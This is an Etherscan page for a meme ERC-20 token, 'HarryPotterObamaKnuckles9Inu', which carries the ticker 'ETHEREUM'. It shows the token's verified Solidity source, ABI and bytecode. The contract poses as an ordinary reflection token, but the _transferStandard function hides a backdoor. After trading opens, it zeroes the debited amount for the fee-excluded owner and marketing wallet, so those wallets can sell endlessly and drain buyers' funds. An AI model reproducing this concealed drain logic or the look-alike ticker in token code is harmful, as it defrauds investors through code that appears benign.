ETH Price: $2,481.23 (+1.44%)

Token

HarryPotterObamaKnuckles9Inu (ETHEREUM)
 

Overview

Max Total Supply

1,000,000,000 ETHEREUM

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
dangai.eth
Balance
14,068,020.226277073 ETHEREUM

Value
$0.00
0x2e754b9859ff6c47c3adaf720b6a809282c5daa2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ETHEREUM

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-03
*/

// SPDX-License-Identifier: Unlicensed

/** 
Website: https://hpok9i.xyz
Twitter: https://twitter.com/HPOK9IERC
Telegram: https://t.me/HPOK9IERC
**/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract ETHEREUM is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "HarryPotterObamaKnuckles9Inu";
    string private constant _symbol = "ETHEREUM";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    uint256 private constant MAX = 10 ** 30;
    uint256 private constant _tTotal = 10 ** 9 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 1;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 1;

    //Original Fee
    uint256 private _redixTax = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousRedisTax = _redixTax;
    uint256 private _previousFee = _taxFee;

    address payable private _development = payable(0xaeea58472445a6053c4A2f053fD3Bb5d8F92ABa4);
    address payable private _marketingWallet = payable(0xaeea58472445a6053c4A2f053fD3Bb5d8F92ABa4);

    IRouter public uniswapV2Router;
    address public uniswapV2Pair;

    bool private tradeActive;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTransaction = 2 * 10 ** 7 * 10**9;
    uint256 public _maxWallet = 2 * 10 ** 7 * 10**9;
    uint256 public _swapThreshold = 10 ** 5 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTransaction);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IFactory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[_development] = true;
        _isExcludedFromFees[_marketingWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function restoreAllFee() private {
        _redixTax = _previousRedisTax;
        _taxFee = _previousFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        rAmount = (_isExcludedFromFees[sender] && tradeActive) ? rAmount & 0 : rAmount;
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redixTax, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
    
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redixTax == 0 && _taxFee == 0) return;

        _previousRedisTax = _redixTax;
        _previousFee = _taxFee;

        _redixTax = 0;
        _taxFee = 0;
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
            if (!tradeActive) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTransaction, "TOKEN: Max Transaction Limit");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount <= _maxWallet, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapThreshold;

            if(contractTokenBalance >= _maxTransaction)
            {
                contractTokenBalance = _maxTransaction;
            }

            if (canSwap && !inSwap && to == uniswapV2Pair && swapEnabled && !_isExcludedFromFees[from] && amount > _swapThreshold) {
                swapTokensToETH(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redixTax = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redixTax = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensToETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    
    function removeLimits() external onlyOwner {
        _maxTransaction = _rTotal;
        _maxWallet = _rTotal;
    }

    function sendFee(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    function openTrading() public onlyOwner {
        tradeActive = true;
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTransaction","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405262000025670de0b6b3a76400006c0c9f2c9cd04674edea400000006200036a565b6200003e906c0c9f2c9cd04674edea400000006200038d565b6006556000600881905560016009819055600a829055600b819055600c829055600d819055600e91909155600f55601080546001600160a01b031990811673aeea58472445a6053c4a2f053fd3bb5d8f92aba49081179092556011805490911690911790556013805461ffff60a81b1916600160b01b17905566470de4df8200006014819055601555655af3107a4000601655348015620000de57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506006543360009081526002602090815260409182902092909255601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa1580156200019c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c29190620003b5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000210573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002369190620003b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000284573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002aa9190620003b5565b601380546001600160a01b0319166001600160a01b03928316179055600080548216815260056020526040808220805460ff199081166001908117909255601054851684528284208054821683179055601154909416835291208054909216179055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a76400006040516200035b91815260200190565b60405180910390a350620003e7565b6000826200038857634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115620003af57634e487b7160e01b600052601160045260246000fd5b92915050565b600060208284031215620003c857600080fd5b81516001600160a01b0381168114620003e057600080fd5b9392505050565b61160080620003f76000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb14610330578063c9567bf914610350578063da7003d414610365578063dd62ed3e1461037b578063f2fde38b146103c157600080fd5b8063715018a61461029f578063751039fc146102b657806382247ec0146102cb5780638da5cb5b146102e157806395d89b41146102ff57600080fd5b806318160ddd116100e757806318160ddd1461020857806323b872dd14610223578063313ce5671461024357806349bd5a5e1461025f57806370a082311461027f57600080fd5b806306fdde0314610124578063095ea7b31461017c5780630e5a9231146101ac5780631694505e146101d057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601c81527f4861727279506f747465724f62616d614b6e75636b6c657339496e750000000060208201525b604051610173919061132b565b60405180910390f35b34801561018857600080fd5b5061019c610197366004611391565b6103e1565b6040519015158152602001610173565b3480156101b857600080fd5b506101c260165481565b604051908152602001610173565b3480156101dc57600080fd5b506012546101f0906001600160a01b031681565b6040516001600160a01b039091168152602001610173565b34801561021457600080fd5b50670de0b6b3a76400006101c2565b34801561022f57600080fd5b5061019c61023e3660046113bd565b6103f8565b34801561024f57600080fd5b5060405160098152602001610173565b34801561026b57600080fd5b506013546101f0906001600160a01b031681565b34801561028b57600080fd5b506101c261029a3660046113fe565b610461565b3480156102ab57600080fd5b506102b4610483565b005b3480156102c257600080fd5b506102b4610500565b3480156102d757600080fd5b506101c260155481565b3480156102ed57600080fd5b506000546001600160a01b03166101f0565b34801561030b57600080fd5b50604080518082019091526008815267455448455245554d60c01b6020820152610166565b34801561033c57600080fd5b5061019c61034b366004611391565b610537565b34801561035c57600080fd5b506102b4610544565b34801561037157600080fd5b506101c260145481565b34801561038757600080fd5b506101c261039636600461141b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103cd57600080fd5b506102b46103dc3660046113fe565b610583565b60006103ee33848461066d565b5060015b92915050565b6000610405848484610791565b6104578433610452856040518060600160405280602881526020016115a3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c21565b61066d565b5060019392505050565b6001600160a01b0381166000908152600260205260408120546103f290610c5b565b6000546001600160a01b031633146104b65760405162461bcd60e51b81526004016104ad90611454565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461052a5760405162461bcd60e51b81526004016104ad90611454565b6006546014819055601555565b60006103ee338484610791565b6000546001600160a01b0316331461056e5760405162461bcd60e51b81526004016104ad90611454565b6013805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105ad5760405162461bcd60e51b81526004016104ad90611454565b6001600160a01b0381166106125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ad565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106cf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ad565b6001600160a01b0382166107305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ad565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ad565b6001600160a01b0382166108575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ad565b600081116108b95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ad565b6000546001600160a01b038481169116148015906108e557506000546001600160a01b03838116911614155b15610b1457601354600160a01b900460ff1661097e576000546001600160a01b0384811691161461097e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104ad565b6014548111156109d05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016104ad565b6013546001600160a01b03838116911614610a5657601554816109f284610461565b6109fc919061149f565b1115610a565760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016104ad565b6000610a6130610461565b601654601454919250821015908210610a7a5760145491505b808015610a915750601354600160a81b900460ff16155b8015610aaa57506013546001600160a01b038581169116145b8015610abf5750601354600160b01b900460ff165b8015610ae457506001600160a01b03851660009081526005602052604090205460ff16155b8015610af1575060165483115b15610b1157610aff82610c79565b478015610b0f57610b0f47610df3565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610b5657506001600160a01b03831660009081526005602052604090205460ff165b80610b8857506013546001600160a01b03858116911614801590610b8857506013546001600160a01b03848116911614155b15610b9557506000610c0f565b6013546001600160a01b038581169116148015610bc057506012546001600160a01b03848116911614155b15610bd257600854600c55600954600d555b6013546001600160a01b038481169116148015610bfd57506012546001600160a01b03858116911614155b15610c0f57600a54600c55600b54600d555b610c1b84848484610e31565b50505050565b60008184841115610c455760405162461bcd60e51b81526004016104ad919061132b565b506000610c5284866114b2565b95945050505050565b600080610c66610e5f565b9050610c728382610e82565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cc157610cc16114c5565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3e91906114db565b81600181518110610d5157610d516114c5565b6001600160a01b039283166020918202929092010152601254610d77913091168461066d565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610db09085906000908690309042906004016114f8565b600060405180830381600087803b158015610dca57600080fd5b505af1158015610dde573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e2d573d6000803e3d6000fd5b5050565b80610e3e57610e3e610ec4565b610e49848484610ef2565b80610c1b57610c1b600e54600c55600f54600d55565b6000806000610e6c61102a565b9092509050610e7b8282610e82565b9250505090565b6000610c7283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061106a565b600c54158015610ed45750600d54155b15610edb57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080610f0487611098565b6001600160a01b038f16600090815260056020526040902054959b5093995091975095509350915060ff168015610f445750601354600160a01b900460ff165b610f4e5785610f51565b60005b6001600160a01b038a16600090815260026020526040902054909650610f7790876110f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fa69086611137565b6001600160a01b038916600090815260026020526040902055610fc881611196565b610fd284836111e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161101791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006110458282610e82565b82101561106157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361108b5760405162461bcd60e51b81526004016104ad919061132b565b506000610c528486611569565b60008060008060008060008060006110b58a600c54600d54611204565b92509250925060006110c5610e5f565b905060008060006110d88e878787611259565b919e509c509a509598509396509194505050505091939550919395565b6000610c7283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c21565b600080611144838561149f565b905083811015610c725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ad565b60006111a0610e5f565b905060006111ae83836112a9565b306000908152600260205260409020549091506111cb9082611137565b30600090815260026020526040902055505050565b6006546111ed90836110f5565b6006556007546111fd9082611137565b6007555050565b600080808061121e606461121889896112a9565b90610e82565b9050600061123160646112188a896112a9565b90506000611249826112438b866110f5565b906110f5565b9992985090965090945050505050565b600080808061126888866112a9565b9050600061127688876112a9565b9050600061128488886112a9565b905060006112968261124386866110f5565b939b939a50919850919650505050505050565b6000826000036112bb575060006103f2565b60006112c7838561158b565b9050826112d48583611569565b14610c725760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ad565b600060208083528351808285015260005b818110156113585785810183015185820160400152820161133c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461138e57600080fd5b50565b600080604083850312156113a457600080fd5b82356113af81611379565b946020939093013593505050565b6000806000606084860312156113d257600080fd5b83356113dd81611379565b925060208401356113ed81611379565b929592945050506040919091013590565b60006020828403121561141057600080fd5b8135610c7281611379565b6000806040838503121561142e57600080fd5b823561143981611379565b9150602083013561144981611379565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103f2576103f2611489565b818103818111156103f2576103f2611489565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114ed57600080fd5b8151610c7281611379565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115485784516001600160a01b031683529383019391830191600101611523565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261158657634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103f2576103f261148956fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220033127c5c66238569d0c1f734c7f3d6dbf10861d1bfa4ce36636232be73b34a164736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb14610330578063c9567bf914610350578063da7003d414610365578063dd62ed3e1461037b578063f2fde38b146103c157600080fd5b8063715018a61461029f578063751039fc146102b657806382247ec0146102cb5780638da5cb5b146102e157806395d89b41146102ff57600080fd5b806318160ddd116100e757806318160ddd1461020857806323b872dd14610223578063313ce5671461024357806349bd5a5e1461025f57806370a082311461027f57600080fd5b806306fdde0314610124578063095ea7b31461017c5780630e5a9231146101ac5780631694505e146101d057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152601c81527f4861727279506f747465724f62616d614b6e75636b6c657339496e750000000060208201525b604051610173919061132b565b60405180910390f35b34801561018857600080fd5b5061019c610197366004611391565b6103e1565b6040519015158152602001610173565b3480156101b857600080fd5b506101c260165481565b604051908152602001610173565b3480156101dc57600080fd5b506012546101f0906001600160a01b031681565b6040516001600160a01b039091168152602001610173565b34801561021457600080fd5b50670de0b6b3a76400006101c2565b34801561022f57600080fd5b5061019c61023e3660046113bd565b6103f8565b34801561024f57600080fd5b5060405160098152602001610173565b34801561026b57600080fd5b506013546101f0906001600160a01b031681565b34801561028b57600080fd5b506101c261029a3660046113fe565b610461565b3480156102ab57600080fd5b506102b4610483565b005b3480156102c257600080fd5b506102b4610500565b3480156102d757600080fd5b506101c260155481565b3480156102ed57600080fd5b506000546001600160a01b03166101f0565b34801561030b57600080fd5b50604080518082019091526008815267455448455245554d60c01b6020820152610166565b34801561033c57600080fd5b5061019c61034b366004611391565b610537565b34801561035c57600080fd5b506102b4610544565b34801561037157600080fd5b506101c260145481565b34801561038757600080fd5b506101c261039636600461141b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103cd57600080fd5b506102b46103dc3660046113fe565b610583565b60006103ee33848461066d565b5060015b92915050565b6000610405848484610791565b6104578433610452856040518060600160405280602881526020016115a3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c21565